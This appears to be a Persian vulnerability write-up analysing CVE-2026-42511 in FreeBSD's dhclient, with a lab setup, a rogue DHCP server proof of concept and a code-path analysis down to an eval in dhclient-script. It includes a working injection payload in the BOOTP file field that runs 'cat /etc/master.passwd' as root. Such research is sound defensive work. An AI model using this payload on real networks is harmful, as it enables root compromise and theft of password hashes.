کلیه حقوق مطالب متعلق به Vulnerlab است. بازنشر با ذکر منبع مجاز است.

تحلیل آسیب‌پذیری CVE-2026-42511

FreeBSD - DHCP Client- dhclient - تزریق دستور (Directive Injection)

۱. مقدمه

آسیب‌پذیری CVE-2026-42511 یک نقص امنیتی از نوع اجرای کد از راه دور در مؤلفه dhclient سیستم‌عامل FreeBSD است. این آسیب‌پذیری زمانی قابل بهره‌برداری است که یک DHCP Server مخرب یا غیرمجاز بتواند به درخواست DHCP سیستم FreeBSD پاسخ دهد و مقدار کنترل‌شده‌ای را در فیلد file در پیام BOOTP/DHCP قرار دهد.

در این آسیب‌پذیری، مقدار دریافتی از DHCP Server توسط dhclient در فایل lease ذخیره می‌شود. مشکل اصلی این است که مقدار فیلد file در پیام BOOTP/DHCP هنگام نوشته‌شدن در فایل lease، به‌درستی از نظر کاراکترهای کنترلی و ساختار نقل‌قول escape نمی‌شود. در نتیجه، مهاجم می‌تواند با استفاده از کاراکترهایی مانند double quote و newline، از context مقدار filename خارج شود و directiveهای معتبر مربوط به پیکربندی dhclient را به فایل lease در مسیر /var/db/dhclient.leases.em0 (برای کارت شبکه em0) تزریق کند. پس از آن، در شرایطی که فایل lease دوباره توسط dhclient خوانده و parse شود، مقدار تزریق‌شده می‌تواند به مسیر اجرای dhclient-script برسد. در این مسیر، مقدار کنترل‌شده مهاجم در نهایت توسط اسکریپت ارزیابی می‌شود و امکان اجرای دستور با سطح دسترسی root فراهم می‌گردد. مسیر کلی آسیب‌پذیری به‌صورت زیر قابل نمایش است:

CVE-2026-42511 - - آسیب‌پذیری اجرای کد از راه دور (RCE) - FreeBSD - DHCP Client - dhclient - DHCP Spoofing - DHCP Server - BOOTP Protocol - BOOTP File Field Injection - DHCP Option Injection - تزریق دستورات پیکربندی - تزریق دستور (Directive Injection) - اجرای کد با دسترسی Root
تصویر ۱: مسیر کلی تبدیل پاسخ DHCP مخرب به اجرای دستور روی FreeBSD

ماهیت اصلی این آسیب‌پذیری، زنجیره‌ای از configuration injection و command injection است؛ یعنی داده‌ای که از شبکه دریافت شده، ابتدا به یک فایل پیکربندی قابل parse تبدیل می‌شود و سپس در مسیر اجرای shell مورد استفاده قرار می‌گیرد. مهاجم باید بتواند به پیام‌های DHCP کلاینت پاسخ دهد؛ بنابراین در سناریوهای معمول، مهاجم باید در همان broadcast domain یا سگمنت لایه 2 با سیستم قربانی قرار داشته باشد، یا بتواند در آن شبکه نقش یک DHCP Server غیرمجاز را ایفا کند.

    ۱.۱ جدول مشخصات کلی آسیب‌پذیری

 
 

 

 

شماره آسیب‌پذیری:

CVE-2026-42511

معرفی آسیب‌پذیری:

آسیب‌پذیری اجرای کد از راه دور در dhclient سیستم‌عامل FreeBSD از طریق مقدار کنترل‌شده در فیلد file در پیام BOOTP/DHCP و تزریق directive در فایل lease

امتیاز (CVSS):

8.1 HIGH

مولفه درگیر:

dhclient در هسته FreeBSD

فایل‌های lease مربوط به DHCP

مسیر اجرایی dhclient-script(8)

نوع آسیب‌پذیری:

تزریق directive در فایل lease

ضعف در neutralization کاراکترهای quote

اجرای کد با دسترسی root

قابلیت در صورت اکسپلویت:

اجرای کد دلخواه با سطح دسترسی root

   ۱.۲ تحلیل‌های از پیش ارائه شده

 
 

 

 

نام تحلیلگر

تاریخ انتشار

لینک

Joshua Rogers

May 7, 2026

https://aisle.com/blog/aisle-discovers-cve-2026-42511-a-21-year-old-freebsd-remote-command-execution-vulnerability

   ۱.۳ وضعیت Patch و نسخه‌های آسیب‌پذیر

 
 

 

 

شاخه/نسخه FreeBSD

وضعیت

15.0-RELEASE

نسخه‌های قبل از پچ 7 (15.0-RELEASE < p7)  آسیب‌پذیرند.

رفع در 15.0-RELEASE-p7 انجام شده است.

14.4-RELEASE

نسخه‌های قبل از پچ 3 (14.4-RELEASE < p3)  آسیب‌پذیرند.

رفع در 14.4-RELEASE-p3 انجام شده است.

14.3-RELEASE

نسخه‌های قبل از پچ 12 (14.3-RELEASE < p12)  آسیب‌پذیرند.

رفع در 14.3-RELEASE-p12 انجام شده است.

13.5-RELEASE

نسخه‌های قبل از پچ 13 (13.5-RELEASE < p13)  آسیب‌پذیرند.

رفع در 13.5-RELEASE-p13 انجام شده است.

نسخه‌های قدیمی‌تر از

13.5-RELEASE

آسیب‌پذیر

   ۱.۴ راه‌اندازی محیط آزمایشگاهی برای تحقیق و توسعه

در این بخش، محیط آزمایشگاهی مورد استفاده برای بازتولید و تحلیل CVE-2026-42511 معرفی می‌شود. هدف از این آزمایشگاه، بررسی کنترل‌شده مسیر آسیب‌پذیری از سطح پکت (Packet) تا سطح سیستم قربانی است؛ یعنی از لحظه دریافت پاسخ DHCP مخرب توسط FreeBSD تا ذخیره مقدار در lease file و بررسی اثر آن روی جریان اجرای dhclient. این محیط به‌گونه‌ای طراحی شده که هیچ ترافیک DHCP یا پیلود (Payload) آزمایشی از محدوده ماشین‌های مجازی خارج نشود و تمام مراحل در یک شبکه ایزوله انجام شود.

از آنجایی که این آسیب‌پذیری به پاسخ DHCP مخرب وابسته است، محیط آزمایشگاهی به شکلی طراحی شده است که ماشین مهاجم بتواند نقش Rogue DHCP Server را ایفا کند و ماشین FreeBSD قربانی نیز پاسخ DHCP را از همین ماشین دریافت کند.

      ۱.۴.۱ نیازمندی‌های سخت‌افزاری

برای بازتولید آسیب‌پذیری و اجرای PoC، یک محیط آزمایشگاهی ایزوله مبتنی بر ماشین مجازی استفاده شد. این محیط باید بتواند حداقل دو ماشین مجازی را به‌صورت همزمان اجرا کند: یک ماشین Kali Linux به‌عنوان DHCP Server آزمایشگاهی و یک ماشین FreeBSD به‌عنوان کلاینت هدف.

  • ماشین میزبان (Host):
  1. ویندوز 10 یا 11 (64 بیت)
  2. حداقل 8 گیگابایت رم
  3. یک شبکه ایزوله مانند VMnet2
  4. SSD با حداقل 30 گیگابایت فضای خالی.
      ۱.۴.۲ نیازمندی‌های نرم‌افزاری
  1. VMware Workstation Pro.
  2. یک ماشین مجازی که از آن به عنوان Rogue DHCP Server استفاده شود؛ مانند Kali Linux.
    • Go Compiler، جهت بیلد پروژه DHCP Server آزمایشگاهی PoC (فایل سورس پروژه و اجرایی آن نیز در کنار این سند قرار گرفته است)
  3. یک ماشین مجازی FreeBSD نسخه آسیب‌پذیر.
    • 0-RELEASE < p7
    • 4-RELEASE < p3
    • 3-RELEASE < p12
    • 5-RELEASE < p13
    • < 13.5-RELEASE
  4. یک نرم‌افزار نوشته شده که به عنوان Rogue DHCP Server در سیستم‌عامل مهاجم عمل کند.
      ۱.۴.۳ مراحل گام‌به‌گام راه‌اندازی آزمایشگاه

مراحل راه‌اندازی این آزمایشگاه شامل ۵ قسمت می‌شود که در ادامه به تشریح آن‌ها خواهیم پرداخت.

          ۱.۴.۳.۱ تنظیم شبکه مجازی در VMware

در VMware Virtual Network Editor، یک شبکه اختصاصی با نام VMnet2 به‌عنوان یک شبکه مجازی اختصاصی برای این آزمایشگاه استفاده می‌شود. برخلاف VMnet0 که معمولاً برای Bridged Networking و VMnet8 که معمولاً برای NAT استفاده می‌شود، VMnet2 در این آزمایشگاه به‌صورت یک شبکه Custom/Host-only تنظیم شده است. هدف از این کار، ایجاد یک Broadcast Domain محدود بین دو ماشین مجازی و جداسازی کامل ترافیک آزمایشگاهی از شبکه اصلی سیستم میزبان و جلوگیری از دخالت DHCP Serverهای واقعی یا ناخواسته است. در این طراحی، Kali و FreeBSD هر دو به VMnet2 متصل می‌شوند. این یعنی DHCP Discover ارسال‌شده توسط FreeBSD فقط داخل همین شبکه مجازی منتشر می‌شود و Kali می‌تواند آن را دریافت کند.

تصویر ۲: کانفیگ شبکه مجازی VMnet2
تصویر ۳: کانفیگ شبکه ماشین مجازی Kali و FreeBSD

غیرفعال کردن DHCP داخلی VMware برای VMnet2 ضروری است. اگر DHCP داخلی VMware فعال باشد، ماشین FreeBSD ممکن است به‌جای DHCP Server آزمایشگاهی، از VMware DHCP پاسخ بگیرد. در این حالت، نتیجه تست ناپایدار و غیرقابل استناد می‌شود. بنابراین در این سناریو، تنها DHCP Server فعال در شبکه باید همان برنامه آزمایشگاهی اجراشده روی Kali Linux باشد.

         ۱.۴.۳.۱.۱ غیرفعال‌سازی VMware DHCP روی VMnet2

در VMnet2، گزینه Use local DHCP service to distribute IP address to VMs غیرفعال شده است. این کار ضروری است، به این دلیل که اگر DHCP داخلی VMware فعال باشد، FreeBSD ممکن است به‌جای دریافت پاسخ از Rogue DHCP Server، از DHCP داخلی VMware پاسخ بگیرد. با غیرفعال کردن DHCP داخلی VMware، تنها سرویس DHCP فعال در VMNet2 همان Rogue DHCP Responder اجراشده روی Kali خواهد بود.

تصویر ۴: غیرفعال‌سازی VMware DHCP
          ۱.۴.۳.۱.۲ ساب‌نت (Subnet) آزمایشگاهی 192.168.50.0/24

ساب‌نت مورد استفاده در این آزمایشگاه برابر 192.168.50.0/24 است. در این طراحی، Kali Linux به‌عنوان Rogue DHCP Responder در آدرس 192.168.50.1 قرار می‌گیرد و به FreeBSD قربانی یک آدرس از همین ساب‌نت، برای مثال 192.168.50.100، پیشنهاد می‌دهد. ساختار کلی آدرس‌دهی به شکل زیر است:

				
					VMNet2 Subnet:		192.168.50.0/24
Rogue DHCP Server:	192.168.50.1
Subnet Mask:		255.255.255.0

				
			
       ۱.۴.۳.۲ تنظیم Kali Linux به‌عنوان DHCP Server آزمایشگاهی

ماشین Kali Linux باید به شبکه VMnet2 متصل و آدرس IP ثابت 192.168.50.1/24 روی اینترفیس (Interface) متصل به این شبکه تنظیم گردد. در Kali، به دلیل اینکه مدیریت شبکه معمولاً توسط NetworkManager انجام می‌شود، استفاده از nmcli روش مناسب‌تری نسبت به تنظیم موقت IP با ip addr است. ابتدا connectionها و interfaceهای موجود بررسی می‌شوند: 

 
 

 

				
					sudo nmcli con show
sudo nmcli dev status
ip - br a

				
			

در این سناریو فرض شده است که اینترفیس متصل به VMnet2 در Kali برابر eth0 است. اگر نام اینترفیس متفاوت باشد، باید در دستورهای زیر مقدار واقعی جایگزین شود.

  1. ایجاد پروفایل اختصاصی شبکه آزمایشگاهی:
				
					sudo nmcli con add type ethernet \
  ifname eth0 \
  con-name prv-net-dhcp-srv \
  ipv4.method manual \
  ipv4.addresses 192.168.50.1/24

				
			

    2. فعال‌سازی پروفایل:

				
					sudo nmcli con up prv-net-dhcp-srv
				
			

    3. بررسی تنظیم IP:

				
					ip -br a
				
			

۲. سناریوی اجرای آسیب‌پذیری

هدف از این سناریو، بازتولید کنترل‌شده آسیب‌پذیری CVE-2026-42511 در یک محیط آزمایشگاهی ایزوله است. در این محیط، یک ماشین Kali Linux به‌عنوان DHCP Server آزمایشگاهی و یک ماشین FreeBSD 15.0-RELEASE به‌عنوان DHCP Client آسیب‌پذیر استفاده می‌شود.

در این سناریو، ماشین FreeBSD برای دریافت تنظیمات IPv4 از DHCP استفاده می‌کند. ماشین Kali نیز با اجرای DHCP Server نوشته‌شده با زبان Go، به پیام‌های DHCP Discover و DHCP Request پاسخ می‌دهد و در پاسخ‌های DHCP Offer و DHCP ACK، مقدار کنترل‌شده‌ای را در فیلد file در پیام BOOTP/DHCP قرار می‌دهد.

مطابق RFC 2131، پیام‌های DHCP از قالب پیام BOOTP استفاده می‌کنند و در این قالب، فیلد file یک فیلد ثابت 128 بایتی برای نام فایل boot است. بنابراین در این مقاله، منظور از فیلد file، همان فیلد ثابت موجود در قالب پیام BOOTP/DHCP است، نه یک DHCP Option معمولی.

   ۲.۱ شرح فایل‌های ارائه‌شده

فایل‌های PoC در قالب یک پروژه Go ارائه شده‌اند. این پروژه یک DHCPv4 Server ساده و آزمایشگاهی را پیاده‌سازی می‌کند که برای کنترل مستقیم روی برخی فیلدهای ثابت پیام BOOTP/DHCP و همچنین برخی DHCP Optionها طراحی شده است. ساختار کلی فایل‌های ارائه‌شده پروژه DHCP Server آزمایشگاهی به‌صورت زیر است:

				
					DHCP-Server/
├── README.md
├── go.mod
├── config.json
├── config.example.json
├── dhcp-lab
├── cmd/
│   └── dhcp-lab/
│       └── main.go
└── internal/
    └── dhcp/
        ├── config.go
        ├── config_test.go
        ├── lease.go
        ├── options.go
        ├── packet.go
        ├── server.go
        ├── sockopt_unix.go
        └── sockopt_windows.go

				
			

فایل

نقش

README.md

توضیح کلی پروژه، روش build، روش اجرا و فیلترهای Wireshark

go.mod

تعریف ماژول Go پروژه

config.json

کانفیگ اجرایی PoC شامل IP سرور، pool، subnet، DNS، router و مقدار فیلد file

config.example.json

نمونه کانفیگ قابل تغییر برای سناریوهای دیگر

dhcp-lab

باینری build‌شده DHCP Server آزمایشگاهی

cmd/dhcp-lab/main.go

نقطه ورود برنامه، خواندن فایل کانفیگ، ساخت server و اجرای آن

internal/dhcp/config.go

خواندن و اعتبارسنجی کانفیگ، ساخت مقدار نهایی فیلد file از file_initial_part و file_command

internal/dhcp/lease.go

مدیریت leaseها و تخصیص IP از pool تعریف‌شده

internal/dhcp/options.go

تعریف و پردازش DHCP Optionها

internal/dhcp/packet.go

parse کردن packet ورودی و ساخت packet پاسخ شامل DHCPOFFER و DHCPACK

internal/dhcp/server.go

گوش‌دادن روی UDP/67، پردازش DHCPDISCOVER و DHCPREQUEST و ارسال پاسخ

sockopt_unix.go

sockopt_windows.go

تنظیمات socket مرتبط با سیستم‌عامل برای ارسال broadcast

 
 

 

 

این پروژه برای استفاده در شبکه آزمایشگاهی طراحی شده و هدف آن کنترل دقیق روی پاسخ‌های DHCP است.

   ۲.۲ کانفیگ مورد استفاده در اکسپلویت

در سناریوی آزمایشگاهی، فایل config.json تعیین می‌کند که DHCP Server روی چه آدرسی bind شود، چه IPای به‌عنوان DHCP Server معرفی شود، چه محدوده‌ای برای lease استفاده شود و چه مقداری در فیلد file در پیام BOOTP/DHCP قرار بگیرد.

				
					{
  "bind_ip": "0.0.0.0",
  "server_ip": "192.168.50.1",
  "pool_start": "192.168.50.100",
  "pool_end": "192.168.50.200",
  "subnet_mask": "255.255.255.0",
  "router": "192.168.50.1",
  "dns_servers": [
    "192.168.50.1"
  ],
  "file_initial_part": "\";\n medium \";",
  "file_command": "cat /etc/master.passwd>>/tmp/hacked"
}

				
			

در این کانفیگ، آیپی DHCP Server 192.168.50.1 است و به کلاینت‌ها از محدوده 192.168.50.100 تا 192.168.50.200 آدرس می‌دهد و همچنین قابل ذکر است که مقدار نهایی فیلد file از اتصال دو مقدار file_initial_part و file_command ساخته می‌شود.

مقدار file_initial_part برای خروج از context رشته در فایل lease استفاده می‌شود و مقدار file_command یک یا چند دستور (در صورت نیاز برای نوشتن چند دستور باید در انتهای هر دستور از علامت ; (سمی‌کالِن) استفاده شود. برای مثال:   “file_command”: “pwd>>/tmp/hacked; whoami>>/tmp/hacked; hostname>>/tmp/hacked; date>>/tmp/hacked;”) را مشخص می‌کند. در این سناریو، دستور نهایی فایل /tmp/hacked را با محتوای /etc/master.passwd ایجاد یا تکمیل می‌کند. این مقادیر در فایل کانفیگ فعلی PoC وجود دارند.

   ۲.۳ اجرای DHCP Server آزمایشگاهی

اقدام بعدی پس از آماده‌سازی اینترفیس شبکه روی Kali، اجرای برنامه DHCP Server آزمایشگاهی است. این برنامه با زبان Go نوشته شده و هدف آن ساخت یک DHCP Server کنترل‌شده برای تولید پاسخ‌های DHCPOFFER و DHCPACK با مقدار دلخواه در فیلد file در پیام BOOTP/DHCP است. در صورت استفاده از باینری از پیش کامپایل شده:

				
					cd DHCP-Server
chmod +x ./dhcp-lab
sudo ./dhcp-lab -config ./config.json

				
			

در صورت build کردن از سورس:

				
					cd DHCP-Server
go build -o dhcp-lab ./cmd/dhcp-lab
sudo ./dhcp-lab -config ./config.json

				
			

اجرای برنامه با sudo لازم است، زیرا DHCP Server باید بر روی پورت UDP/67 گوش دهد. در پروتکل DHCP، سرور روی UDP/67 و کلاینت روی UDP/68 کار می‌کند. پس از اجرا، برنامه روی UDP/67 منتظر پیام‌های DHCP می‌ماند. رفتار کلی برنامه به این شکل است:

پیام دریافتی از FreeBSD

پاسخ DHCP Server آزمایشگاهی

نتیجه

DHCPDISCOVER

DHCPOFFER

پیشنهاد IP از pool تعریف‌شده

DHCPREQUEST

DHCPACK

تأیید lease و ارسال تنظیمات نهایی

DHCPRELEASE

در این PoC صرفاً log می‌شود

آزادسازی عملیاتی lease انجام نمی‌شود

پیام‌های دیگر

نادیده گرفته می‌شوند

خارج از هدف سناریوی آزمایشگاهی

   ۲.۴ تنظیم FreeBSD برای دریافت lease از DHCP Server آزمایشگاه

در سمت FreeBSD، interface متصل به VMnet2 باید به‌عنوان DHCP Client فعال شود و آدرس IP خود را از DHCP Server آزمایشگاهی دریافت کند.

  • بررسی اینترفیس‌های موجود در FreeBSD:
				
					ifconfig -l
ifconfig -a

				
			
  • فعال کردن DHCPبرای اینترفیس em0:
				
					sysrc ifconfig_em0="DHCP"
service netif restart em0

				
			
  • راه‌اندازی DHCP client و دریافت lease:
				
					service dhclient restart em0
				
			
  • بررسی وضعیت اینترفیس پس از دریافت IP:
				
					ifconfig
				
			
  • بررسی فایل lease مربوط به اینترفیس em0:
				
					cat /var/db/dhclient.leases.em0
				
			

در FreeBSD، فعال‌سازی DHCP از طریق /etc/rc.conf با الگوی ifconfig_<interface>=”DHCP” انجام می‌شود و dhclient مسئول ارتباط با DHCP Server و تنظیم interface بر اساس اطلاعات دریافتی است. دستور گفته شده در مرحله 2 (sysrc ifconfig_em0=”DHCP”) نیز همین تغییر را در فایل /etc/rc.conf برای اینترفیس em0 در این فایل انجام می‌دهد.

تصویر ۵: نمایی از فایل /etc/rc.conf

   ۲.۵ جریان پیام‌های DHCP در شبکه

در اجرای موفق سناریو، جریان پیام‌های DHCP باید شامل چهار مرحله اصلی باشد:

 
 

 

 

تصویر ۶: جریان پیام‌های DHCP

در capture شبکه، این جریان معمولاً به شکل زیر دیده می‌شود (توالی پیام‌های DHCP مشاهده‌شده در Wireshark):

مرحله

مبدأ

مقصد

نوع پیام

توضیح

1

0.0.0.0:68

255.255.255.255:67

DHCP Discover

FreeBSD به‌عنوان کلاینت به دنبال DHCP Server می‌گردد.

2

192.168.50.1:67

192.168.50.255:68

DHCP Offer

کالی به‌عنوان DHCP Server آزمایشگاهی IP پیشنهاد می‌دهد.

3

0.0.0.0:68

255.255.255.255:67

DHCP Request

FreeBSD درخواست دریافت IP پیشنهادی را ارسال می‌کند.

4

192.168.50.1:67

192.168.50.255:68

DHCP ACK

کالی lease را تأیید و تنظیمات نهایی را ارسال می‌کند.

تصویر ۷: توالی پیام‌های DHCP مشاهده‌شده در Wireshark

   ۲.۶ مقداردهی فیلد file در پیام BOOTP/DHCP

نقطه مهم در این سناریو، مقداردهی فیلد file در پیام BOOTP/DHCP در پاسخ DHCPACK است. در ساختار پیام DHCP، این فیلد قبل از بخش options قرار دارد و طبق RFC 2131 طول آن 128 بایت است. در PoC نوشته‌شده با Go، مقدار نهایی این فیلد از فایل کانفیگ خوانده می‌شود. اگر مقدارهای file_initial_part یا file_command در کانفیگ وجود داشته باشند، مقدار نهایی به‌صورت ترکیب این دو ساخته می‌شود:

				
					file = file_initial_part + file_command
				
			

در سناریوی حاضر (مقادیر استفاده‌شده برای ساخت payload آزمایشگاهی):

				
					file_initial_part = "\";\n medium \";"
file_command      = "cat /etc/master.passwd>>/tmp/hacked"

				
			

خروجی این ترکیب به‌عنوان مقدار فیلد file در پیام BOOTP/DHCP قرار می‌گیرد. در تصویر زیر در Wireshark، این مقدار در بخش Boot file name قابل مشاهده است. باید توجه کرد که Wireshark ممکن است این بخش را با عنوان Boot file name نمایش دهد، اما در تحلیل مقاله بهتر است از عبارت دقیق‌تر فیلد file در پیام BOOTP/DHCP استفاده شود.

تصویر ۸: مشاهده مقدار فیلد file در پیام BOOTP/DHCP در Wireshark

لازم به ذکر است که این فیلد با DHCP Option 67 متفاوت است. Option 67 با عنوان Bootfile Name یک DHCP Option است، اما فیلد مورد بحث در این آسیب‌پذیری، فیلد ثابت file در ساختار اصلی پیام BOOTP/DHCP است.

   ۲.۷ بررسی اثر اجرای PoC روی FreeBSD

همان‌طور که در تصویر زیر مشاهده می‌شود، فایل lease ابتدا شامل یک lease عادی و معتبر برای اینترفیس em0 است؛ اما پس از دریافت پاسخ DHCP مخرب، محتوای ذخیره‌شده در /var/db/dhclient.leases.em0 تغییر کرده و یک lease دوم به آن اضافه شده است. در این lease جدید، مقدار کنترل‌شده‌ی مهاجم از فیلد filename باعث شکستن ساختار عادی lease و تزریق directive جدیدی به نام medium شده است. به این ترتیب، فایل lease از یک رکورد صرفاً “پیکربندی شبکه” به یک poisoned lease file تبدیل می‌شود که در مرحله‌ی بعد، هنگام پردازش مجدد توسط dhclient، می‌تواند مقدار آلوده را به dhclient-script منتقل کند.

 
 

 

 

تصویر ۹: مشاهده محتوای فایل leases در FreeBSD برای اینترفیس em0. جدول سبز رنگ lease قدیمی است (با اتصال اینترفیس em0 به شبکه NAT در VMware ساخته شده) جدول قرمز رنگ، lease جدید است (که با اتصال اینترفیس em0 به DHCP Server آزمایشگاهی اتفاق افتاده)

پارس شدن مجدد فایل lease توسط dhclient هنگام بوت شدن سیستم، ری‌استارت شدن سرویس شبکه یا DHCP client، اجرای مجدد dhclient برای همان اینترفیس و زمانی که پروسه‌ی قبلی dhclient متوقف و دوباره راه‌اندازی شود، اتفاق می‌افتد. لازم به ذکر است که در renewal عادی، الزاماً فایل lease از دیسک دوباره خوانده نمی‌شود.

در این مرحله می‌توان یکبار سیستم FreeBSD را با دستور shutdown -r now ری‌استارت کرد و یا سرویس DHCP را برای اینترفیس em0 با دستور service dhclient restart em0 مجددا راه‌اندازی کرد تا پس از آن پیلود نوشته شده در فایل lease اجرا شود. پس از دریافت lease و طی شدن مسیر آسیب‌پذیر، اثر payload آزمایشگاهی باید روی ماشین FreeBSD قابل مشاهده باشد. در اینجا، payload انتخاب‌شده فقط فایل /tmp/hacked را ایجاد یا به آن مقدار اضافه می‌کند. بررسی اثر پیلود روی FreeBSD:

				
					less /tmp/hacked
				
			

خروجی مورد انتظار:

تصویر ۱۰: خروجی مورد انتظار پس از اجرای موفق PoC (مشاهده محتویات فایل /etc/master.passwd)

این خروجی نشان می‌دهد که مقدار قرارگرفته در فیلد file در پیام BOOTP/DHCP در نهایت وارد زنجیره پردازش dhclient شده و دستور آزمایشگاهی با موفقیت اجرا شده است.

۳. تحلیل آسیب‌پذیری

ریشه CVE-2026-42511 در این است که dhclient مقدار کنترل‌شده دریافتی از DHCP Server را از فیلد file در پیام BOOTP/DHCP وارد state داخلی lease می‌کند و سپس همان مقدار را بدون neutralization مناسب در فایل lease می‌نویسد. فایل lease بعداً دوباره توسط dhclient  پارس می‌شود؛ در نتیجه، داده‌ای که ابتدا ورودی غیرقابل اعتماد شبکه بوده، به directive معتبر dhclient تبدیل می‌شود. این آسیب‌پذیری از نوع memory corruption نیست. primitive اصلی آن شکستن context رشته در فایل lease و تبدیل داده شبکه‌ای به syntax معتبر فایل پیکربندی است.

 
 

 

 

				
					[Network / DHCP reply]
    ↓ [callback/event]
bootp_packet_handler = do_packet
dispatch()
    ↓ [CALL via packet handler]
do_packet(...)
    ↓ [local packet wrapper / parsed packet]
dhcp(packet)
    ├── DHCPOFFER → dhcpoffer(packet)
    └── DHCPACK   → dhcpack(packet)
                    ↓ [CALL + ARG]
                packet_to_lease(packet)
                    ↓ [RETURN]
                lease
                    ↓ [FIELD COPY / ASSIGN]
        packet->raw->file   → lease->filename
        packet->raw->sname  → lease->server_name
        packet->raw->yiaddr → lease->address
        packet->raw->siaddr → lease->nextserver
                    ↓ [ASSIGN]
                ip->client->new = lease
                    ↓ [CALL, but data is read from ip->client->new]
                bind_lease(ip)
                    ↓ [CALL + ARG from state]
                write_client_lease(ip, ip->client->new, 0)
                    ↓ [SIDE / FILE WRITE]
        fprintf(... "filename \"%s\";" ...)
        fprintf(... "server-name \"%s\";" ...)
                    ↓ [FILE]
        /var/db/dhclient.leases.<if>
                    ↓ [PROCESS / TIME BOUNDARY]
        restart / lease reload
                    ↓ [CALL]
                main()
                    ↓ [CALL; config first]
                read_client_conf()
                    ↓ [CALL; lease DB opened]
                read_client_leases()
                    ↓ [PARSE]
                parse_client_lease_statement()
                    ↓ [PARSE + mutates new lease object]
                parse_client_lease_declaration(cfile, lease, &ip)
                    ↓ [TOKEN CASE]
                case MEDIUM:
                    ↓ [ASSIGN into parsed lease]
                parse_string_list(cfile, &lease->medium, 0)
                    ↓ [ASSIGN]
                ip->client->active = lease
                    ↓ [CALL; reads active lease from state]
                state_reboot(ip)
                    ↓ [CALL]
                send_request(ip)
                    ↓ [CONDITION + state read]
        if S_REBOOTING && ip->client->active->medium:
                    ↓ [ENV setup]
                script_init("MEDIUM", ip->client->active->medium)
                    ↓ [IPC / privileged helper path]
                script_go()
                    ↓ [CALL in privileged side]
                priv_script_go()
                    ↓ [EXEC]
                execve("/sbin/dhclient-script", ..., envp)
                    ↓ [SHELL VARIABLE]
        dhclient-script: case "$reason" in MEDIUM)
                    ↓ [SINK]
                eval "$IFCONFIG $interface $medium"

				
			

   ۳.۱ فایل‌ها و نقاط کدی درگیر

در این CVE دو فایل اصلی اهمیت دارند:

  1. c برای دریافت، ساخت lease و serialize کردن آن.
  2. dhclient-script برای اعمال lease روی interface.

در ماشین تست این تحقیق، نسخه FreeBSD برابر 15.0-RELEASE است؛ بنابراین برای لینک GitLab، فایل‌های branch/commit متناظر با همین build نیز در جدول آمده‌اند.

 
 

 

فایل

نقش در زنجیره آسیب‌پذیری

لینک GitLab

sbin/dhclient/dhclient.c

دریافت مقدار file از packet، انتقال به lease->filename، نوشتن lease روی دیسک

https://gitlab.com/FreeBSD/freebsd-src/-/blob/7aedc8de6446/sbin/dhclient/dhclient.c

sbin/dhclient/dhclient-script

اعمال state دریافتی از dhclient روی interface و استفاده از medium در مسیر eval

https://gitlab.com/FreeBSD/freebsd-src/-/blob/7aedc8de6446/sbin/dhclient/dhclient-script

sbin/dhclient/dhclient.c در commit اصلاحی releng/15.0

اضافه‌شدن validation برای server_name و filename در کامیت (Commit) اصلاحی e7b4fb41aafa

https://gitlab.com/FreeBSD/freebsd-src/-/commit/e7b4fb41aafaf6ccb4ff14684416223c1f6f92e8

 

 
 

 

 

۳.۲ ورود داده مخرب در ()packet_to_lease

اولین نقطه مهم در dhclient.c تابع ()packet_to_lease است. در نسخه آسیب‌پذیر، وقتی DHCP option overload اجازه بدهد که فیلد ثابت file استفاده شود و مقدار packet->raw->file[0] خالی نباشد، مقدار فیلد file از packet خام DHCP به lease->filename کپی می‌شود.

      ۳.۲.۱ کد آسیب‌پذیر
تصویر ۱۱: قسمت آسیب‌پذیر در تابع packet_to_lease در نسخه آسیب‌پذیر

ضعف این بخش این نیست که memcpy به‌تنهایی overflow ایجاد می‌کند؛ طول کپی با DHCP_FILE_LEN ثابت است و یک NUL terminator نیز بعد از آن گذاشته می‌شود. ضعف اصلی این است که مقدار کپی‌شده، قبل از ورود به state داخلی lease از نظر کاراکترهای مؤثر در syntax فایل lease بررسی نمی‌شود. در ادامه خواهیم دید که وصله (Patch) دقیقاً بعد از همین memcpy و با اضافه شدن بررسی روی ” (دبل کوتیشن) و \ (بک‌اسلش) اتفاق افتاده است.

   ۳.۳ نقطه آسیب‌پذیر در ()write_client_lease

پس از ساخته‌شدن ساختار lease، dhclient آن را در فایل lease روی دیسک serialize می‌کند. نقطه آسیب‌پذیر در تابع write_client_lease() است؛ جایی که مقدار lease->filename مستقیماً داخل یک رشته quoted نوشته می‌شود.

 
 

 

 

تصویر ۱۲: serialize شدن مستقیم filename و server-name در فایل lease (تابع write_client_lease)

قالب مورد انتظار برنامه این است:

				
					filename "boot/loader.efi";
				
			

اما اگر مقدار lease->filename شامل double quote و newline باشد، مقدار دیگر فقط content نیست و تبدیل به syntax می‌شود. یعنی مهاجم می‌تواند رشته را ببندد، directive قبلی را تمام کند و directive جدیدی مثل medium را وارد فایل lease کند.

   ۳.۴ داده trigger و شکل lease آلوده

در آزمایشگاه این تحقیق، مقدار تزریق‌شده از دو بخش ساخته می‌شود (بخش‌های payload آزمایشگاهی در config.json):

				
					"file_initial_part": "\";\n medium \";",
"file_command"     : "cat /etc/master.passwd>>/tmp/hacked"

				
			

این دو مقدار در فایل config.json فعلی آزمایشگاه قرار دارند و خروجی آن‌ها مقدار فیلد file در پیام BOOTP/DHCP را می‌سازد و مقدار نهایی چنین اثری روی فایل lease دارد:

				
					filename "";
medium ";cat /etc/master.passwd>>/tmp/hacked";

				
			

اینجا نکته مهم این است که فایل lease، خراب یا غیرقابل parse نمی‌شود؛ برعکس، از نظر syntax همچنان معتبر می‌ماند. همین باعث می‌شود دادهِ مهاجم در مرحله بعد به‌عنوان state معتبر dhclient پذیرفته شود.

   ۳.۵ نقطه sink در dhclient-script

بعد از پارس مجدد lease، directive تزریق‌شده medium به مسیر اجرای dhclient-script می‌رسد. در این اسکریپت، مقدار medium وارد eval می‌شود.

 
 

 

 

				
					eval "$IFCONFIG  $interface  $medium"
				
			

در حالت عادی، هدف این خط اجرای ifconfig با پارامترهای لازم برای interface است. اما اگر medium از lease آلوده آمده باشد و شامل shell metacharacter باشد، eval کل رشته را دوباره به shell می‌دهد. برای payload آزمایشگاهی این تحقیق، اجرای مفهومی به شکل زیر قابل توضیح است:

				
					eval "/sbin/ifconfig  em0  ;cat /etc/master.passwd>>/tmp/hacked"
				
			

این بخش همان جایی است که آسیب‌پذیری از configuration injection به command execution تبدیل می‌شود. اگر dhclient-script از eval استفاده نمی‌کرد یا مقدار medium را به‌صورت آرگومان امن و جداگانه به ifconfig پاس می‌داد، این مرحله از زنجیره exploit قابل سوءاستفاده نبود یا حداقل به‌شدت سخت‌تر می‌شد.

